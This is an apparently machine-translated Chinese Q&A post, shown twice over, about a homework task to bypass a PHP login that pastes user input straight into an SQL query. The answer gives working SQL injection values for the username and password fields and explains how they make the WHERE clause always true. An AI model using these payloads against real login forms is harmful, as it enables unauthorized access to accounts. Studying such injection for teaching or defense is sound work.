SQL 注入 php
SQL Injection on php
我收到了一项任务,要使用 sql 注入来破解给定网站
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
FROM USERS_TABLE
WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");
$chk = mysql_fetch_array($sel1);
if (found one record)
then {allow the user to login}
问题是我应该输入哪些值的 $user 和 $password 来破解网站?
我已经尝试在用户(例如:admin)和 $password 中设置一个真实值,我尝试使用(“或”“=”)-没有无效的括号。我也试过 (' or ''=')-没有括号
这看起来很简单,我是不是漏掉了什么?
我认为这是一项 school/university 作业,而不是为了入侵真实网站。
粘贴一些内容,这将成为有效 SQL 的一部分,这将使条件计算为 TRUE
,而不管数据库中实际有什么。
这意味着,通过输入 "correct" 值,您可以在不知道数据库中实际 username/password 的情况下登录该网站。
考虑以下条件:
WHERE (name = '' OR ''='' OR email = '' OR ''='') AND pass = '' OR TRUE LIMIT 1 -- '
如果数据库中至少有一个用户,它总是评估为 TRUE
,并且它最多 returns 一行(因为 LIMIT 1
)。
现在您只需 "extract the pieces from this condition" 并输入它们作为用户名和密码:
- 用户名:
' OR ''='
- 密码:
' OR TRUE LIMIT 1 --
请注意,由 PHP 插入的查询末尾的最后一个撇号字符成为注释,不会导致 SQL 语法错误。
我收到了一项任务,要使用 sql 注入来破解给定网站
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
FROM USERS_TABLE
WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");
$chk = mysql_fetch_array($sel1);
if (found one record)
then {allow the user to login}
问题是我应该输入哪些值的 $user 和 $password 来破解网站?
我已经尝试在用户(例如:admin)和 $password 中设置一个真实值,我尝试使用(“或”“=”)-没有无效的括号。我也试过 (' or ''=')-没有括号
这看起来很简单,我是不是漏掉了什么?
我认为这是一项 school/university 作业,而不是为了入侵真实网站。
粘贴一些内容,这将成为有效 SQL 的一部分,这将使条件计算为 TRUE
,而不管数据库中实际有什么。
这意味着,通过输入 "correct" 值,您可以在不知道数据库中实际 username/password 的情况下登录该网站。
考虑以下条件:
WHERE (name = '' OR ''='' OR email = '' OR ''='') AND pass = '' OR TRUE LIMIT 1 -- '
如果数据库中至少有一个用户,它总是评估为 TRUE
,并且它最多 returns 一行(因为 LIMIT 1
)。
现在您只需 "extract the pieces from this condition" 并输入它们作为用户名和密码:
- 用户名:
' OR ''='
- 密码:
' OR TRUE LIMIT 1 --
请注意,由 PHP 插入的查询末尾的最后一个撇号字符成为注释,不会导致 SQL 语法错误。